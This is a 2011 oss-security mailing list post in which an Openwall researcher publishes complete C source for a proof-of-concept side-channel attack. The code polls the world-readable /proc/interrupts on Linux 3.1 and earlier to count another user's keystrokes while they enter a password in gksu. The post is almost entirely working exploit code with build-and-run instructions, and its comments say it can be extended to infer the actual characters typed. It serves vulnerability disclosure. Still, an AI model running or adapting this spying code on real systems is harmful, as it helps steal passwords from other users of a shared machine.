Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <20111107174136.GA2288@albatros>
Date: Mon, 7 Nov 2011 21:41:36 +0400
From: Vasiliy Kulikov <segoon@...nwall.com>
To: oss-security@...ts.openwall.com
Subject: /proc/interrupts PoC: spy-interrupts

/*
 * A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1.
 * 
 * The file /proc/interrupts is world readable.  It contains information
 * about how many interrupts were emitted since the system boot.  We may loop
 * on one CPU core while the victim is executed on another, and learn the length
 * of victim's passord via monitoring emitted interrupts' counters of the keyboard
 * interrupt.  The PoC counts only keystrokes number, but it can be easily extended
 * to note the delays between the keystrokes and do the statistical analysis to
 * learn the precise input characters.
 * 
 * The limitations:
 *   - it works on 2-core CPUs only.
 *   - it works on 1-keyboard systems only.
 *   - it doesn't carefully count the first and last keystrokes (e.g. ENTER after
 *     the password input).
 *   - it doesn't carefully filter keystrokes after ENTER.
 * 
 * by segoon from Openwall
 *
 * run as: gcc -Wall spy-interrupts.c -o spy-interrupts && ./spy-interrupts gksu
 *
 * P.S.  The harm of 0444 /proc/interrupts is known for a long time, but I
 * was told about this specific attack vector by Tavis Ormandy just after similar
 * PoC spy-sched was published.
 */

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <string.h>


int i8042_number;
int ints[1024], ints_prev[1024], ints_delta[1024];

char buffer[1024];

int reread_ints(int *interrupts, int int_count, char **names)
{
    int i;
    int n, c1, c2;
    char s1[1024], s2[1024];

    int interrupts_fd;
    FILE *interrupts_file;

    interrupts_fd = open("/proc/interrupts", O_RDONLY);
    if (interrupts_fd == -1)
        err(1, "open(\"/proc/interrupts\")");

    interrupts_file = fdopen(interrupts_fd, "r");
    if (interrupts_file == NULL)
        err(1, "fdopen");

    if (fseek(interrupts_file, 0, SEEK_SET) < 0)
        err(1, "lseek");

    fgets(buffer, sizeof(buffer), interrupts_file);

    for (i = 0; i < int_count; i++) {
        if (fgets(buffer, sizeof(buffer), interrupts_file) == NULL) {
            fclose(interrupts_file);
            return i;
        }

        if (sscanf(buffer, "%d: %d %d %s %s", &n, &c1, &c2, s1, s2) < 3) {
            fclose(interrupts_file);
            return i;
        }

        if (names != NULL && names[i] == NULL)
            names[i] = strdup(s2);

        interrupts[i] = c1 + c2;
    }

    fclose(interrupts_file);
    return int_count;
}

void init_i8042_number(void)
{
    int i;
    int can_be_keyboard[1024];
    char *names[1024];
    int number_of_interrups, can_be_keyboard_numbers;

    number_of_interrups = reread_ints(ints_prev, sizeof(ints_prev), names);

    /*
     * Identify the i8042 interrupt associated with the keyboard by:
     * 1) name should be i8042
     * 2) interrupts count emitted in one second shouldn't be more than 100
     */
    for (i = 0; i < number_of_interrups; i++)
        can_be_keyboard[i] = strcmp(names[i], "i8042") == 0;

    while (1) {
        sleep(1);
        reread_ints(ints, sizeof(ints), NULL);

        can_be_keyboard_numbers = 0;
        for (i = 0; i < number_of_interrups; i++) {
            can_be_keyboard[i] &= (ints[i] - ints_prev[i]) < 100;
            if (can_be_keyboard[i])
                can_be_keyboard_numbers++;

            ints_prev[i] = ints[i];
        }

        if (can_be_keyboard_numbers == 1) {
            for (i = 0; i < number_of_interrups; i++)
                if (can_be_keyboard[i]) {
                    i8042_number = i;
                    printf("i8042 keyboard is #%d\n", i);
                    return;
                }
        }
    }
}

int i8042_read(void)
{
    reread_ints(ints, sizeof(ints), NULL);
    ints_prev[i8042_number] = ints[i8042_number];

    return ints[i8042_number];
}

int wait_for_program(char *pname)
{
    FILE *f;
    int pid;
    char s[1024];

    snprintf(s, sizeof(s), "while :; do pgrep %s >/dev/null && break;"
           " sleep 0.1; done", pname);
    system(s);
    snprintf(s, sizeof(s), "pgrep %s", pname);
    f = popen(s, "r");
    if (f == NULL)
        err(1, "popen");

    if (fgets(buffer, sizeof(buffer), f) == NULL)
        err(1, "fgets");

    if (sscanf(buffer, "%d", &pid) < 1)
        err(1, "sscanf");

    pclose(f);

    return pid;
}

int main(int argc, char *argv[])
{
    int n, old, sum, i;
    int pid;
    char *pname = argv[1];

    if (argc < 2)
        errx(1, "usage: spy-interrupts gksu");

    puts("Waiting for mouse activity...");
    init_i8042_number();

    pid = wait_for_program(pname);
    printf("%s is %d\n", pname, pid);

    old = i8042_read();

    sum = 0;

    while (1) {
        n = i8042_read();
        if (old == n)
            usleep(10000);
        else {
            for (i = 0; i < n-old; i++)
                putchar('.');
            fflush(stdout);
        }

        sum += n - old;
        old = n;

        if (kill(pid, 0) < 0 && errno == ESRCH)
            break;
    }

    /*
     * #interrupts == 2 * #keystrokes.  
     * #keystrokes = len(password) - 1  because of ENTER after the password.
     */
    printf("\n%d keystrokes\n", (sum-2)/2);

    return 0;
}

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.